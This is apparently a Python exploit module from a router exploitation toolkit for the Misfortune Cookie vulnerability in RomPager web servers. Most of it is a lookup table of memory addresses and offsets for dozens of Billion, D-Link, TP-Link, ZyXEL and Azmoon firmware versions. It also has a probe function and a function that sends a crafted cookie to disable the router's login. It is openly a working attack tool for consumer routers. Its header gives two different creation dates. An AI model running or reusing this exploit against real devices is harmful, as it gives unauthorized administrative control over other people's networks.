# Name:Misfortune Cookie vulnerability authentication bypass
# File:misfortune_auth_bypass.py
# Author:Ján Trenčanský
# License: GNU GPL v3
# Created: 22.9.2016
# Description: PoC based on 31C3 presentation,
# exploit based on Marcin Bury and Milad Doorbash routersploit module.

import core.Exploit
import interface.utils
from core.io import query_yes_no
from interface.messages import print_failed, print_success, print_warning, print_error, print_info, print_help

import requests
import requests.exceptions
import re


class Exploit(core.Exploit.RextExploit):
    """
Name:Misfortune Cookie vulnerability authentication bypass
File:misfortune_auth_bypass.py
Author:Ján Trenčanský
License: GNU GPL v3
Created: 4.2.2014
Description: PoC based on 31C3 presentation, exploit based on Marcin Bury and Milad Doorbash routersploit module.

Options:
    Name        Description

    host        Target host address
    port        Target port
    model       Target model
    """

    devices = None
    number = None
    offset = None

    def __init__(self):
        # This part is directly taken from routersploit module
        self.devices = [
                       #         brand       # model        # firmware
                       {'name': "Azmoon     AZ-D140W        2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1", 'number': 107367693,
                        'offset': 13},  # 0x803D5A79        # tested
                       {'name': "Billion    BiPAC 5102S     Av2.7.0.23 (UE0.B1C)", 'number': 107369694, 'offset': 13},
                       # 0x8032204d                       # ----------
                       {'name': "Billion    BiPAC 5102S     Bv2.7.0.23 (UE0.B1C)", 'number': 107369694, 'offset': 13},
                       # 0x8032204d                       # ----------
                       {'name': "Billion    BiPAC 5200      2.11.84.0(UE2.C2)3.11.11.6", 'number': 107369545,
                        'offset': 9},  # 0x803ec2ad                  # ----------
                       {'name': "Billion    BiPAC 5200      2_11_62_2_ UE0.C2D_3_10_16_0", 'number': 107371218,
                        'offset': 21},  # 0x803c53e5               # ----------
                       {'name': "Billion    BiPAC 5200A     2_10_5 _0(RE0.C2)3_6_0_0", 'number': 107366366,
                        'offset': 25},  # 0x8038a6e1                   # ----------
                       {'name': "Billion    BiPAC 5200A     2_11_38_0 (RE0.C29)3_10_5_0", 'number': 107371453,
                        'offset': 9},  # 0x803b3a51                 # ----------
                       {'name': "Billion    BiPAC 5200GR4   2.11.91.0(RE2.C29)3.11.11.52", 'number': 107367690,
                        'offset': 21},  # 0x803D8A51               # tested
                       {'name': "Billion    BiPAC 5200SRD   2.10.5.0 (UE0.C2C) 3.6.0.0", 'number': 107368270,
                        'offset': 1},  # 0x8034b109                  # ----------
                       {'name': "Billion    BiPAC 5200SRD   2.12.17.0_UE2.C3_3.12.17.0", 'number': 107371378,
                        'offset': 37},  # 0x8040587d                 # ----------
                       {'name': "Billion   BiPAC 5200SRD   2_11_62_2(UE0.C3D)3_11_11_22", 'number': 107371218,
                        'offset': 13},  # 0x803c49d5                # ----------
                       {'name': "D-Link    DSL-2520U       Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL",
                        'number': 107368902, 'offset': 25},  # 0x803fea01  # tested
                       {'name': "D-Link    DSL-2600U       Z1_DSL-2600U", 'number': 107366496, 'offset': 13},
                       # 0x8040637d                                # ----------
                       {'name': "D-Link    DSL-2600U       Z2_V1.08_ras", 'number': 107360133, 'offset': 20},
                       # 0x803389B0                                # ----------
                       {'name': "TP-Link   TD-8616         V2_080513", 'number': 107371483, 'offset': 21},
                       # 0x80397055                                   # ----------
                       {'name': "TP-Link   TD-8816         V4_100528_Russia", 'number': 107369790, 'offset': 17},
                       # 0x803ae0b1                            # ----------
                       {'name': "TP-Link   TD-8816         V4_100524", 'number': 107369790, 'offset': 17},
                       # 0x803ae0b1                                   # ----------
                       {'name': "TP-Link   TD-8816         V5_100528_Russia", 'number': 107369790, 'offset': 17},
                       # 0x803ae0b1                            # ----------
                       {'name': "TP-Link   TD-8816         V5_100524", 'number': 107369790, 'offset': 17},
                       # 0x803ae0b1                                   # tested
                       {'name': "TP-Link   TD-8816         V5_100903", 'number': 107369790, 'offset': 17},
                       # 0x803ae0b1                                   # ----------
                       {'name': "TP-Link   TD-8816         V6_100907", 'number': 107371426, 'offset': 17},
                       # 0x803c6e09                                   # ----------
                       {'name': "TP-Link   TD-8816         V7_111103", 'number': 107371161, 'offset': 1},
                       # 0x803e1bd5                                    # ----------
                       {'name': "TP-Link   TD-8816         V7_130204", 'number': 107370211, 'offset': 5},
                       # 0x80400c85                                    # ----------
                       {'name': "TP-Link   TD-8817         V5_100524", 'number': 107369790, 'offset': 17},
                       # 0x803ae0b1                                   # ----------
                       {'name': "TP-Link   TD-8817         V5_100702_TR", 'number': 107369790, 'offset': 17},
                       # 0x803ae0b1                                # ----------
                       {'name': "TP-Link   TD-8817         V5_100903", 'number': 107369790, 'offset': 17},
                       # 0x803ae0b1                                   # ----------
                       {'name': "TP-Link   TD-8817         V6_100907", 'number': 107369788, 'offset': 1},
                       # 0x803b6e09                                    # ----------
                       {'name': "TP-Link   TD-8817         V6_101221", 'number': 107369788, 'offset': 1},
                       # 0x803b6e09                                    # ----------
                       {'name': "TP-Link   TD-8817         V7_110826", 'number': 107369522, 'offset': 25},
                       # 0x803d1bd5                                   # ----------
                       {'name': "TP-Link   TD-8817         V7_130217", 'number': 107369316, 'offset': 21},
                       # 0x80407625                                   # ----------
                       {'name': "TP-Link   TD-8817         V7_120509", 'number': 107369321, 'offset': 9},
                       # 0x803fbcc5                                    # tested
                       {'name': "TP-Link   TD-8817         V8_140311", 'number': 107351277, 'offset': 20},
                       # 0x8024E148                                   # tested
                       {'name': "TP-Link   TD-8820         V3_091223", 'number': 107369768, 'offset': 17},
                       # 0x80397E69                                   # tested
                       {'name': "TP-Link   TD-8840T        V1_080520", 'number': 107369845, 'offset': 5},
                       # 0x80387055                                    # ----------
                       {'name': "TP-Link   TD-8840T        V2_100525", 'number': 107369790, 'offset': 17},
                       # 0x803ae0b1                                   # tested
                       {'name': "TP-Link   TD-8840T        V2_100702_TR", 'number': 107369790, 'offset': 17},
                       # 0x803ae0b1                                # ----------
                       {'name': "TP-Link   TD-8840T        V2_090609", 'number': 107369570, 'offset': 1},
                       # 0x803c65d5                                    # ----------
                       {'name': "TP-Link   TD-8840T        V3_101208", 'number': 107369766, 'offset': 17},
                       # 0x803c3e89                                    # tested
                       {'name': "TP-Link   TD-8840T        V3_110221", 'number': 107369764, 'offset': 5},
                       # 0x803d1a09                                    # ----------
                       {'name': "TP-Link   TD-8840T        V3_120531", 'number': 107369688, 'offset': 17},
                       # 0x803fed35                                   # ----------
                       {'name': "TP-Link   TD-W8101G       V1_090107", 'number': 107367772, 'offset': 37},
                       # 0x803bf701                                   # ----------
                       {'name': "TP-Link   TD-W8101G       V1_090107", 'number': 107367808, 'offset': 21},
                       # 0x803e5b6d                                   # ----------
                       {'name': "TP-Link   TD-W8101G       V2_100819", 'number': 107367751, 'offset': 21},
                       # 0x803dc701                                   # ----------
                       {'name': "TP-Link   TD-W8101G       V2_101015_TR", 'number': 107367749, 'offset': 13},
                       # 0x803e1829                                # ----------
                       {'name': "TP-Link   TD-W8101G       V2_101101", 'number': 107367749, 'offset': 13},
                       # 0x803e1829                                   # ----------
                       {'name': "TP-Link   TD-W8101G       V3_110119", 'number': 107367765, 'offset': 25},
                       # 0x804bb941                                   # ----------
                       {'name': "TP-Link   TD-W8101G       V3_120213", 'number': 107367052, 'offset': 25},
                       # 0x804e1ff9                                   # ----------
                       {'name': "TP-Link   TD-W8101G       V3_120604", 'number': 107365835, 'offset': 1},
                       # 0x804f16a9                                    # ----------
                       {'name': "TP-Link   TD-W8151N       V3_120530", 'number': 107353867, 'offset': 24},
                       # 0x8034F3A4                                   # tested
                       {'name': "TP-Link   TD-W8901G       V1_080522", 'number': 107367787, 'offset': 21},
                       # 0x803AB30D                                   # tested
                       {'name': "TP-Link   TD-W8901G       V1,2_080522", 'number': 107368013, 'offset': 5},
                       # 0x803AB30D                                  # ----------
                       {'name': "TP-Link   TD-W8901G       V2_090113_Turkish", 'number': 107368013, 'offset': 5},
                       # 0x803AB30D                            # ----------
                       {'name': "TP-Link   TD-W8901G       V3_140512", 'number': 107367854, 'offset': 9},
                       # 0x803cf335                                    # tested
                       {'name': "TP-Link   TD-W8901G       V3_100603", 'number': 107367751, 'offset': 21},
                       # 0x803DC701                                   # tested
                       {'name': "TP-Link   TD-W8901G       V3_100702_TR", 'number': 107367751, 'offset': 21},
                       # 0x803DC701                                # tested
                       {'name': "TP-Link   TD-W8901G       V3_100901", 'number': 107367749, 'offset': 13},
                       # 0x803E1829                                   # tested
                       {'name': "TP-Link   TD-W8901G       V6_110119", 'number': 107367765, 'offset': 25},
                       # 0x804BB941                                   # tested
                       {'name': "TP-Link   TD-W8901G       V6_110915", 'number': 107367682, 'offset': 21},
                       # 0x804D7CB9                                   # tested
                       {'name': "TP-Link   TD-W8901G       V6_120418", 'number': 107365835, 'offset': 1},
                       # 0x804F16A9                                    # ----------
                       {'name': "TP-Link   TD-W8901G       V6_120213", 'number': 107367052, 'offset': 25},
                       # 0x804E1FF9                                   # ----------
                       {'name': "TP-Link   TD-W8901GB      V3_100727", 'number': 107367756, 'offset': 13},
                       # 0x803dfbe9                                   # ----------
                       {'name': "TP-Link   TD-W8901GB      V3_100820", 'number': 107369393, 'offset': 21},
                       # 0x803f1719                                   # ----------
                       {'name': "TP-Link   TD-W8901N       V1_111211", 'number': 107353880, 'offset': 0},
                       # 0x8034FF94                                   # tested
                       {'name': "TP-Link   TD-W8951ND      V1_101124,100723,100728", 'number': 107369839, 'offset': 25},
                       # 0x803d2d61                     # tested
                       {'name': "TP-Link   TD-W8951ND      V1_110907", 'number': 107369876, 'offset': 13},
                       # 0x803d6ef9                                   # ----------
                       {'name': "TP-Link   TD-W8951ND      V1_111125", 'number': 107369876, 'offset': 13},
                       # 0x803d6ef9                                   # ----------
                       {'name': "TP-Link   TD-W8951ND      V3.0_110729_FI", 'number': 107366743, 'offset': 21},
                       # 0x804ef189                              # ----------
                       {'name': "TP-Link   TD-W8951ND      V3_110721", 'number': 107366743, 'offset': 21},
                       # 0x804ee049                                   # ----------
                       {'name': "TP-Link   TD-W8951ND      V3_20110729_FI", 'number': 107366743, 'offset': 21},
                       # 0x804ef189                              # ----------
                       {'name': "TP-Link   TD-W8951ND      V4_120511", 'number': 107364759, 'offset': 25},
                       # 0x80523979                                  # tested
                       {'name': "TP-Link   TD-W8951ND      V4_120607", 'number': 107364759, 'offset': 13},
                       # 0x80524A91                                   # tested
                       {'name': "TP-Link   TD-W8951ND      V4_120912_FL", 'number': 107364760, 'offset': 21},
                       # 0x80523859                                # tested
                       {'name': "TP-Link   TD-W8961NB      V1_110107", 'number': 107369844, 'offset': 17},
                       # 0x803de3f1                                   # tested
                       {'name': "TP-Link   TD-W8961NB      V1_110519", 'number': 107369844, 'offset': 17},
                       # 0x803de3f1                                   # ----------
                       {'name': "TP-Link   TD-W8961NB      V2_120319", 'number': 107367629, 'offset': 21},
                       # 0x80531859                                   # ----------
                       {'name': "TP-Link   TD-W8961NB      V2_120823", 'number': 107366421, 'offset': 13},
                       # 0x80542e59                                   # ----------
                       {'name': "TP-Link   TD-W8961ND      V1_100722,101122", 'number': 107369839, 'offset': 25},
                       # 0x803D2D61                            # tested
                       {'name': "TP-Link   TD-W8961ND      V1_101022_TR", 'number': 107369839, 'offset': 25},
                       # 0x803D2D61                                # ----------
                       {'name': "TP-Link   TD-W8961ND      V1_111125", 'number': 107369876, 'offset': 13},
                       # 0x803D6EF9                                   # ----------
                       {'name': "TP-Link   TD-W8961ND      V2_120427", 'number': 107364732, 'offset': 25},
                       # 0x8052e0e9                                   # ----------
                       {'name': "TP-Link   TD-W8961ND      V2_120710_UK", 'number': 107364771, 'offset': 37},
                       # 0x80523AA9                                # ----------
                       {'name': "TP-Link   TD-W8961ND      V2_120723_FI", 'number': 107364762, 'offset': 29},
                       # 0x8052B6B1                                # ----------
                       {'name': "TP-Link   TD-W8961ND      V3_120524,120808", 'number': 107353880, 'offset': 0},
                       # 0x803605B4                             # ----------
                       {'name': "TP-Link   TD-W8961ND      V3_120830", 'number': 107353414, 'offset': 36},
                       # 0x803605B4                                   # ----------
                       {'name': "ZyXEL     P-660R-T3       3.40(BOQ.0)C0", 'number': 107369567, 'offset': 21},
                       # 0x803db071                               # tested
                       {'name': "ZyXEL     P-660RU-T3      3.40(BJR.0)C0", 'number': 107369567, 'offset': 21},
                       # 0x803db071
                   ]
        core.Exploit.RextExploit.__init__(self)

    def do_list(self, e):
        counter = 0
        print_info("ID\tManufacturer\tModel\tFirmware")
        for device in self.devices:
            print_info("%d %s" % (counter, self.devices[counter]['name']))
            counter += 1

    def do_set(self, e):
        args = e.split(' ')
        try:
            if args[0] == "host":
                if interface.utils.validate_ipv4(args[1]):
                    self.host = args[1]
                else:
                    print_error("Please provide valid IPv4 address")
            elif args[0] == "port":
                if str.isdigit(args[1]):
                    self.port = args[1]
                else:
                    print_error("Port value must be integer")
            elif args[0] == 'device':
                if not str.isdigit(args[1]):
                    print_error("Invalid device ID")
                elif int(args[1]) < 0 or int(args[1]) > len(self.devices):
                    print_error("Invalid device ID")
                else:
                    index = int(args[1])
                    print_info("Device: %s" % self.devices[index]['name'])
                    self.number = self.devices[index]['number']
                    print_info("Setting address to: %d" % self.number)
                    self.offset = self.devices[index]['offset']
                    print_info("Setting offset: %d" % self.offset)

        except IndexError:
            print_error("please specify value for variable")

    def check(self):
        user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
        headers = {'User-Agent': user_agent,
                   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
                   'Connection': 'keep-alive',
                   'Accept-Encoding': 'gzip, deflate',
                   'Cache-Control': 'no-cache',
                   'Cookie': 'C107373883=/omg1337hax'}
        target = 'http://' + self.host + ":" + self.port + '/blabla'
        try:
            response = requests.get(target, headers=headers, timeout=60)
            if response.status_code != 404:
                print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code)
                print_warning("Device is not running RomPager")
            else:
                if 'server' in response.headers:
                    server = response.headers.get('server')
                    if re.search('RomPager', server) is not None:
                        print_success("Got RomPager! Server:%s" % server)
                        if re.search('omg1337hax', response.text) is not None:
                            print_success("Device is vulnerable to misfortune cookie")
                            return True
                        else:
                            print_failed("Test didn't pass.")
                            print_warning("Device MAY still be vulnerable")
                            return False
                    else:
                        print_failed("RomPager not detected, device is running: %s " % server)
                        return False
                else:
                    print_failed("Not running RomPager")
                    return False
        except requests.exceptions.Timeout:
            print_error("Timeout!")
        except requests.exceptions.ConnectionError:
            print_error("No route to host")

    def auth_bypass(self):
        user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
        headers = {'User-Agent': user_agent,
                   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
                   'Connection': 'keep-alive',
                   'Accept-Encoding': 'gzip, deflate',
                   'Cache-Control': 'no-cache',
                   'Cookie': 'C' + str(self.number) + '=' + 'B' * self.offset + '\x00'}
        target = 'http://' + self.host + ":" + self.port
        try:
            response = requests.get(target, headers=headers, timeout=60)
            if response is not None and response.status_code <= 302:
                print_success("Exploit sent, please check http://%s:%s authentication should be disabled"
                              % (self.host, self.port))
            else:
                print_error("Exploit failed")
        except requests.exceptions.Timeout:
            print_error("Timeout!")
        except requests.exceptions.ConnectionError:
            print_error("No route to host")

    def do_run(self, e):
        # First check with the same code as in misfortune cookie scanner
        is_vulnerable = self.check()
        if self.offset is None:
            print_error("Please set device model by running set device id")
        if is_vulnerable:
            self.auth_bypass()
        else:
            if query_yes_no("Check indicates device is not vulnerable, would you like to try the exploit anyway?",
                            default="no"):
                self.auth_bypass()

    def help_list(self):
        print_help("List all available devices")

Exploit()
